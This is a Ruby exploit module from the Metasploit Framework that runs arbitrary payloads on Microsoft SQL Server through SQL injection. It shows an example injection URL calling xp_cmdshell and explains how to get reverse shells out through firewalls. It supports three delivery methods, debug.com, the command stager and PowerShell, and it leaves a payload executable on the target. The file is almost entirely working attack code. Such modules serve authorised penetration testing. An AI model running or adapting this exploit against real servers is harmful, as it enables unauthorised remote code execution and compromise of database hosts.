135 lines
4.2 KiB
Ruby
135 lines
4.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::MSSQL_SQLI
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include Msf::Exploit::CmdStagerVBS
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft SQL Server Payload Execution via SQL injection',
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'Description' => %q{
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This module will execute an arbitrary payload on a Microsoft SQL
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Server, using a SQL injection vulnerability.
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Once a vulnerability is identified this module
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will use xp_cmdshell to upload and execute Metasploit payloads.
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It is necessary to specify the exact point where the SQL injection
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vulnerability happens. For example, given the following injection:
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http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical
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you would need to set the following path:
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set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar
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In regard to the payload, unless there is a closed port in the web server,
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you dont want to use any "bind" payload, specially on port 80, as you will
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stop reaching the vulnerable web server host. You want a "reverse" payload, probably to
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your port 80 or to any other outbound port allowed on the firewall.
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For privileged ports execute Metasploit msfconsole as root.
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Currently, three delivery methods are supported.
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First, the original method uses Windows 'debug.com'. File size restrictions are
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avoidied by incorporating the debug bypass method presented by SecureStat at
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Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems.
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A second method takes advantage of the Command Stager subsystem. This allows using
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various techniques, such as using a TFTP server, to send the executable. By default
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the Command Stager uses 'wcsript.exe' to generate the executable on the target.
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Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
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payload on the target.
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NOTE: This module will leave a payload executable on the target system when the
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attack is finished.
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},
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'Author' =>
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[
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'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method
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'jduck', # command stager mods
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'Rodrigo Marcos' # SQL injection mods
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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# 'sa' password in logs
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[ 'CVE', '2000-0402' ],
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[ 'OSVDB', '557' ],
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[ 'BID', '1281' ],
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# blank default 'sa' password
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[ 'CVE', '2000-1209' ],
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[ 'OSVDB', '15757' ],
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[ 'BID', '4797' ],
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# code and comments
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[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/penetration-testing-sql-injection-and-metasploit/' ]
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],
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
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},
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'May 30 2000'
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))
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register_options(
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[
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OptString.new('DELIVERY', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'old' ])
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])
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end
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# This is method required for the CmdStager to work...
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def execute_command(cmd, opts)
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mssql_xpcmdshell(cmd, datastore['VERBOSE'])
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end
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def exploit
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method = datastore['DELIVERY'].downcase
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if (method =~ /^cmd/)
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execute_cmdstager({ :linemax => 1500, :nodelete => true })
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#execute_cmdstager({ :linemax => 1500 })
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else
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# Generate the EXE, this is the same no matter what delivery mechanism we use
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exe = generate_payload_exe
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# Use powershell method for payload delivery if specified
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if (method =~ /^ps/) or (method =~ /^power/)
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powershell_upload_exec(exe)
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else
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# Otherwise, fall back to the old way..
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mssql_upload_exec(exe, datastore['VERBOSE'])
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end
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end
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print_status("Almost there, the stager takes a while to execute. Waiting 50 seconds...")
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select(nil,nil,nil,50)
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handler
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disconnect
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end
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end
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